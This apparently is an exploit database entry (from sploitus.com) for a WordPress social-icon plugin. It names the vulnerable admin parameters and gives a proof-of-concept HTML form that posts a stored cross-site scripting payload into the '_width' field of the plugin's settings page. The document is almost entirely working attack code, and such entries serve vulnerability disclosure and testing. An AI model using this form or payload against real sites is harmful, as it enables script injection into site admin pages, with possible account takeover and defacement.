Share
## https://sploitus.com/exploit?id=WPEX-ID:D6B0F74A-DAFC-42EF-B0C7-B1A3C59DA875
Affected parameters: _width, _height, _margin, _attr_id, _attr_class

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=cnss_social_icon_option" method="POST">
      <input type="hidden" name="_width" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>